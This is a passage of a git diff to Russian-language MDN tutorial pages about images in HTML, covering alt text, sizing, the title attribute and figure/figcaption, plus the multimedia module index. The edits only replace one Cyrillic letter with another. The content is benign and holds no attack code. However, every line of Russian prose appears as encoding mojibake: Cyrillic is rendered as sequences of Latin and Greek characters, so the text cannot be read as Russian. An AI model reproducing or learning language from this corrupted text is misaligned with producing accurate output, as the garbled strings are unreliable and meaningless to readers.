- <li><strong>Бсылка.</strong> Если Π²Ρ‹ ΠΏΠΎΠΌΠ΅Ρ‰Π°Π΅Ρ‚Π΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π² {{htmlelement("a")}}, для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΈΠ· Π½Π΅Π³ΠΎ ссылку, Π²Ρ‹ всё Π΅Ρ‰Ρ‘ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ <a href="/ru/docs/Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_гипСрссылок#Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅_Ρ‡Π΅Ρ‚ΠΊΠΈΠ΅_Ρ„ΠΎΡ€ΠΌΡƒΠ»ΠΈΡ€ΠΎΠ²ΠΊΠΈ_описания_ссылок">ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‡Π΅Ρ‚ΠΊΠΈΠ΅ Ρ„ΠΎΡ€ΠΌΡƒΠ»ΠΈΡ€ΠΎΠ²ΠΊΠΈ описания ссылок</a>. Π’ Ρ‚Π°ΠΊΠΎΠΌ случаС, Π²Ρ‹ смоТСтС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ элСмСнт <code>&lt;a&gt;</code> Β ΠΈΠ»ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β <code>alt</code> . Π‘Ρ‚Π°Ρ€Π°ΠΉΡ‚Π΅ΡΡŒ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ Π»ΡƒΡ‡ΡˆΠΈΠΉ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚.</li>
+ <li><strong>Бсылка.</strong> Если Π²Ρ‹ ΠΏΠΎΠΌΠ΅Ρ‰Π°Π΅Ρ‚Π΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π² {{htmlelement("a")}}, для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΈΠ· Π½Π΅Π³ΠΎ ссылку, Π²Ρ‹ всё Π΅Ρ‰Ρ‘ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ <a href="/ru/docs/Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_гипСрссылок#Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅_Ρ‡Ρ‘Ρ‚ΠΊΠΈΠ΅_Ρ„ΠΎΡ€ΠΌΡƒΠ»ΠΈΡ€ΠΎΠ²ΠΊΠΈ_описания_ссылок">ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‡Ρ‘Ρ‚ΠΊΠΈΠ΅ Ρ„ΠΎΡ€ΠΌΡƒΠ»ΠΈΡ€ΠΎΠ²ΠΊΠΈ описания ссылок</a>. Π’ Ρ‚Π°ΠΊΠΎΠΌ случаС, Π²Ρ‹ смоТСтС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ элСмСнт <code>&lt;a&gt;</code> Β ΠΈΠ»ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β <code>alt</code> . Π‘Ρ‚Π°Ρ€Π°ΠΉΡ‚Π΅ΡΡŒ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ Π»ΡƒΡ‡ΡˆΠΈΠΉ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚.</li>
<li><strong>ВСкст.</strong> НС ΠΏΠΈΡˆΠΈΡ‚Π΅ тСкст Π² изобраТСниях. Если Π²Π°ΡˆΠ΅ΠΌΡƒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΡƒ понадобится Ρ‚Π΅Π½ΡŒ, Ρ‚ΠΎΒ Π»ΡƒΡ‡ΡˆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ для этого <a href="/ru/docs/Web/CSS/text-shadow">CSS</a> вмСсто добавлСния тСкста Π² ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅. Однако, Ссли  <em>Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ этого Π½Π΅ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ</em>, Ρ‚ΠΎ Π²Π°ΠΌ слСдуСт Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ тСкст Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅Β <code>alt</code>.</li>
</ul>
@@ -126,7 +126,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ_Π²_HTM
<p>Π­Ρ‚ΠΎ Ρ…ΠΎΡ€ΠΎΡˆΠ°Ρ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ°, Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ страница загрузится быстрСС ΠΈ Π±ΠΎΠ»Π΅Π΅ Π³Π»Π°Π΄ΠΊΠΎ.</p>
-<p>Однако, Π²Ρ‹ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ Π²Π°ΡˆΠΈΡ… ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ HTML Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹. Если Π²Ρ‹ установитС Ρ€Π°Π·ΠΌΠ΅Ρ€ изобраТСния слишком большим, Ρ‚ΠΎ Π² ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ ΠΈΡ‚ΠΎΠ³Π΅ Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Π΅Ρ‚Π΅ΡΡŒ с изобраТСниями, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ выглядят зСрнистыми, Ρ€Π°Π·ΠΌΡ‹Ρ‚Ρ‹ΠΌΠΈΒ ΠΈΠ»ΠΈ слишком малСнькими, ΠΈ ΠΏΠΎΡ‚Ρ€Π°Ρ‚ΠΈΡ‚Π΅Β Ρ‚Ρ€Π°Ρ„ΠΈΠΊ для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ изобраТСния, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒΒ Π½ΡƒΠΆΠ΄Π°ΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ‚Π°ΠΊΠΆΠ΅ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒΒ ΠΈΡΠΊΠ°ΠΆΡ‘Π½Π½Ρ‹ΠΌ, Ссли Π²Ρ‹ Π½Π΅ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅Β ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ΅ <a href="https://en.wikipedia.org/wiki/Aspect_ratio_(image)">ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ сторон</a>. РСкомСндуСтся ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ графичСский рСдактор для ΠΏΠΎΠ΄Π³ΠΎΠ½ΠΊΠΈ изобраТСния ΠΊ Π½ΡƒΠΆΠ½ΠΎΠΌΡƒ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρƒ, ΠΏΠ΅Ρ€Π΅Π΄ вставкой Π΅Π³ΠΎ Π½Π° Π²Π°ΡˆΡƒ Π²Π΅Π±-страницу.</p>
+<p>Однако, Π²Ρ‹ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ Π²Π°ΡˆΠΈΡ… ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ HTML Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹. Если Π²Ρ‹ установитС Ρ€Π°Π·ΠΌΠ΅Ρ€ изобраТСния слишком большим, Ρ‚ΠΎ Π² ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ ΠΈΡ‚ΠΎΠ³Π΅ Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Ρ‘Ρ‚Π΅ΡΡŒ с изобраТСниями, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ выглядят зСрнистыми, Ρ€Π°Π·ΠΌΡ‹Ρ‚Ρ‹ΠΌΠΈΒ ΠΈΠ»ΠΈ слишком малСнькими, ΠΈ ΠΏΠΎΡ‚Ρ€Π°Ρ‚ΠΈΡ‚Π΅Β Ρ‚Ρ€Π°Ρ„ΠΈΠΊ для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ изобраТСния, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒΒ Π½ΡƒΠΆΠ΄Π°ΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ‚Π°ΠΊΠΆΠ΅ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒΒ ΠΈΡΠΊΠ°ΠΆΡ‘Π½Π½Ρ‹ΠΌ, Ссли Π²Ρ‹ Π½Π΅ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅Β ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ΅ <a href="https://en.wikipedia.org/wiki/Aspect_ratio_(image)">ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ сторон</a>. РСкомСндуСтся ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ графичСский рСдактор для ΠΏΠΎΠ΄Π³ΠΎΠ½ΠΊΠΈ изобраТСния ΠΊ Π½ΡƒΠΆΠ½ΠΎΠΌΡƒ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρƒ, ΠΏΠ΅Ρ€Π΅Π΄ вставкой Π΅Π³ΠΎ Π½Π° Π²Π°ΡˆΡƒ Π²Π΅Π±-страницу.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Если Π²Π°ΠΌ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π½ΡƒΠΆΠ½ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ изобраТСния, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ вмСсто этого <a href="/ru/docs/Learn/CSS">CSS</a>.</p>
@@ -143,7 +143,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ_Π²_HTM
height="341"
title="A T-Rex on display in the Manchester University Museum"&gt;</pre>
-<p>Π­Ρ‚ΠΎ Π΄Π°Π΅Ρ‚ Π½Π°ΠΌ Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰ΡƒΡŽ подсказку ΠΏΡ€ΠΈ Π½Π°Π²Π΅Π΄Π΅Π½ΠΈΠΈ курсора ΠΌΡ‹ΡˆΠΈ, Ρ‚Π°ΠΊΠΆΠ΅ ΠΊΠ°ΠΊ ΠΈ Π² ссылках:</p>
+<p>Π­Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ Π½Π°ΠΌ Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰ΡƒΡŽ подсказку ΠΏΡ€ΠΈ Π½Π°Π²Π΅Π΄Π΅Π½ΠΈΠΈ курсора ΠΌΡ‹ΡˆΠΈ, Ρ‚Π°ΠΊΠΆΠ΅ ΠΊΠ°ΠΊ ΠΈ Π² ссылках:</p>
<p><img alt="The dinosaur image, with a tooltip title on top of it that reads A T-Rex on display at the Manchester University Museum " src="https://mdn.mozillademos.org/files/12708/image-with-title.png" style="display: block; height: 341px; margin: 0px auto; width: 400px;"></p>
@@ -241,7 +241,7 @@ window.addEventListener("load", drawOutput);
<p>Π­Ρ‚ΠΎ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ. Π­Ρ‚ΠΎ содСрТит всё Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ, ΠΈ красиво стилизуСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ CSS. Но, Π΅ΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°: здСсь Π½Π΅Ρ‚ Π½ΠΈΡ‡Π΅Π³ΠΎ, Ρ‡Ρ‚ΠΎ сСмантичСски связываСт ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ с Π΅Π³ΠΎ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ,Β ΠΈ это ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ слоТности для Ρ‡ΠΈΡ‚Π°Ρ‚Π΅Π»Π΅ΠΉ. НапримСр, ΠΊΠΎΠ³Π΄Π° Ρƒ вас Π΅ΡΡ‚ΡŒΒ 50 ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ², ΠΊΠ°ΠΊΠΎΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΈΠ΄Ρ‘Ρ‚ вмСстС с ΠΊΠ°ΠΊΠΈΠΌ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ?</p>
-<p>Π›ΡƒΡ‡ΡˆΠΈΠΌ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ Π±ΡƒΠ΄Π΅Ρ‚ использованиС элСмСнтов HTML5Β {{htmlelement("figure")}} ΠΈΒ {{htmlelement("figcaption")}}. Они Π±Ρ‹Π»ΠΈ созданы ΠΈΡΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ для этой Ρ†Π΅Π»ΠΈ: ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ сСмантичСский ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ для рисунков ΠΈ Ρ‡Π΅Ρ‚ΠΊΠΎ ΡΠ²ΡΠ·Π°Ρ‚ΡŒ рисунок с Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ. Наш ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π²Ρ‹ΡˆΠ΅Β ΠΌΠΎΠ³ Π±Ρ‹ Π±Ρ‹Ρ‚ΡŒ пСрСписан Ρ‚Π°ΠΊ:</p>
+<p>Π›ΡƒΡ‡ΡˆΠΈΠΌ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ Π±ΡƒΠ΄Π΅Ρ‚ использованиС элСмСнтов HTML5Β {{htmlelement("figure")}} ΠΈΒ {{htmlelement("figcaption")}}. Они Π±Ρ‹Π»ΠΈ созданы ΠΈΡΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ для этой Ρ†Π΅Π»ΠΈ: ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ сСмантичСский ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ для рисунков ΠΈ Ρ‡Ρ‘Ρ‚ΠΊΠΎ ΡΠ²ΡΠ·Π°Ρ‚ΡŒ рисунок с Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ. Наш ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π²Ρ‹ΡˆΠ΅Β ΠΌΠΎΠ³ Π±Ρ‹ Π±Ρ‹Ρ‚ΡŒ пСрСписан Ρ‚Π°ΠΊ:</p>
<pre class="notranslate">&lt;figure&gt;
&lt;img src="images/dinosaur.jpg"
@@ -262,7 +262,7 @@ window.addEventListener("load", drawOutput);
<p>Π’Π΅Π³ &lt;figure&gt; Π½Π΅ являСтся ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ. Он прСдставляСт собой нСзависимый структурный элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ:Β </p>
<ul>
- <li>ΠŸΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ смысл ΠΊΠΎΠΌΠΏΠ°ΠΊΡ‚Π½Ρ‹ΠΌ, ΠΈΠ½Ρ‚ΡƒΠΈΡ‚ΠΈΠ²Π½ΠΎ понятным способом.</li>
+ <li>ΠŸΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ смысл ΠΊΠΎΠΌΠΏΠ°ΠΊΡ‚Π½Ρ‹ΠΌ, ΠΈΠ½Ρ‚ΡƒΠΈΡ‚ΠΈΠ²Π½ΠΎ понятным способом.</li>
<li>ΠœΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… мСстах страницы.</li>
<li>ΠŸΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ Ρ†Π΅Π½Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΡƒΡŽ основной тСкст.</li>
</ul>
diff --git a/files/ru/learn/html/multimedia_and_embedding/images_in_html/test_your_skills_colon__html_images/index.html b/files/ru/learn/html/multimedia_and_embedding/images_in_html/test_your_skills_colon__html_images/index.html
index 00ef01d21d..ec9a11491f 100644
--- a/files/ru/learn/html/multimedia_and_embedding/images_in_html/test_your_skills_colon__html_images/index.html
+++ b/files/ru/learn/html/multimedia_and_embedding/images_in_html/test_your_skills_colon__html_images/index.html
@@ -64,7 +64,7 @@ original_slug: >-
<p>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ваша Ρ€Π°Π±ΠΎΡ‚Π° Π±Ρ‹Π»Π° ΠΎΡ†Π΅Π½Π΅Π½Π°, ΠΈΠ»ΠΈ Ссли Π²Ρ‹ застряли ΠΈ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ Π·Π° ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ:</p>
<ol>
- <li>ΠŸΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚Π΅ свою Ρ€Π°Π±ΠΎΡ‚Ρƒ Π² ΠΎΠ½Π»Π°ΠΉΠ½-Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>Β ΠΈΠ»ΠΈΒ <a href="https://glitch.com/">Glitch</a>. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΊΠΎΠ΄ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΈΠ»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ»Ρ‹, ссылки Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Ρ‹ Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Ρ… Π²Ρ‹ΡˆΠ΅ Ρ€Π°Π·Π΄Π΅Π»Π°Ρ….</li>
+ <li>ΠŸΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚Π΅ свою Ρ€Π°Π±ΠΎΡ‚Ρƒ Π² ΠΎΠ½Π»Π°ΠΉΠ½-Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>Β ΠΈΠ»ΠΈΒ <a href="https://glitch.com/">Glitch</a>. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΊΠΎΠ΄ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΈΠ»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ»Ρ‹, ссылки Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Ρ‹ Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Ρ… Π²Ρ‹ΡˆΠ΅ Ρ€Π°Π·Π΄Π΅Π»Π°Ρ….</li>
<li>ΠΠ°ΠΏΠΈΡˆΠΈΡ‚Π΅ сообщСниС с ΠΏΡ€ΠΎΡΡŒΠ±ΠΎΠΉ ΠΎΠ± ΠΎΡ†Π΅Π½ΠΊΠ΅ ΠΈ / ΠΈΠ»ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Π² <a class="external external-icon" href="https://discourse.mozilla.org/c/mdn/learn" rel="noopener">MDN Discourse forum Learning category</a>. Π’Π°Ρˆ пост Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ:
<ul>
<li>ΠžΠΏΠΈΡΠ°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ "ВрСбуСтся ΠΎΡ†Π΅Π½ΠΊΠ° для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Π½Π°Π²Ρ‹ΠΊΠΎΠ² 1 ΠΏΠΎ основам ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ HTML".</li>
diff --git a/files/ru/learn/html/multimedia_and_embedding/index.html b/files/ru/learn/html/multimedia_and_embedding/index.html
index 5926902c75..b2aecfbd25 100644
--- a/files/ru/learn/html/multimedia_and_embedding/index.html
+++ b/files/ru/learn/html/multimedia_and_embedding/index.html
@@ -29,9 +29,9 @@ translation_of: Learn/HTML/Multimedia_and_embedding
<p>Π”Π°Π»Π΅Π΅ ΠΌΡ‹ рассмотрим, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ элСмСнты HTML5 {{htmlelement ("video")}} ΠΈ {{htmlelement ("audio")}} для встраивания Π²ΠΈΠ΄Π΅ΠΎ ΠΈ Π°ΡƒΠ΄ΠΈΠΎ Π½Π° наши страницы, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ основы, обСспСчивая доступ ΠΊ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°ΠΌΒ Ρ„Π°ΠΉΠ»ΠΎΠ² для Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ подписСй ΠΈ субтитров, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΊΠ°ΠΊ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Ρ€Π΅Π·Π΅Ρ€Π²Π½Ρ‹Π΅ ΠΊΠΎΠΏΠΈΠΈ для старых Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ².</p>
</dd>
<dt><a href="/ru/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">ΠžΡ‚ &lt;object&gt; ΠΊ &lt;iframe&gt; β€” Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ встраивания</a></dt>
- <dd>Π’ этом мСстС ΠΌΡ‹ Π±Ρ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ шаг Π² сторону, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΏΠ°Ρ€Ρƒ элСмСнтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ позволят Π²ΡΡ‚Ρ€Π°ΠΈΠ²Π°Ρ‚ΡŒ ΡˆΠΈΡ€ΠΎΠΊΠΈΠΉ спСктр Ρ‚ΠΈΠΏΠΎΠ² ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Π² ваши Π²Π΅Π±-страницы: элСмСнты {{htmlelement("iframe")}}, {{htmlelement("embed")}} ΠΈ{{htmlelement("object")}}. &lt;iframe&gt; ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для встраивания Π΄Ρ€ΡƒΠ³ΠΈΡ… Π²Π΅Π±-страниц, Π° Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π΄Π²Π° элСмСнта ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π²ΡΡ‚Ρ€Π°ΠΈΠ²Π°Ρ‚ΡŒ PDF, SVG ΠΈ Π΄Π°ΠΆΠ΅ Flash – ΡƒΡΡ‚Π°Ρ€Π΅Π²Π°ΡŽΡ‰Π°Ρ тСхнология, Π½ΠΎ всС Π΅Ρ‰Π΅ часто встрСчаСмая.</dd>
+ <dd>Π’ этом мСстС ΠΌΡ‹ Π±Ρ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ шаг Π² сторону, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΏΠ°Ρ€Ρƒ элСмСнтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ позволят Π²ΡΡ‚Ρ€Π°ΠΈΠ²Π°Ρ‚ΡŒ ΡˆΠΈΡ€ΠΎΠΊΠΈΠΉ спСктр Ρ‚ΠΈΠΏΠΎΠ² ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Π² ваши Π²Π΅Π±-страницы: элСмСнты {{htmlelement("iframe")}}, {{htmlelement("embed")}} ΠΈ{{htmlelement("object")}}. &lt;iframe&gt; ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для встраивания Π΄Ρ€ΡƒΠ³ΠΈΡ… Π²Π΅Π±-страниц, 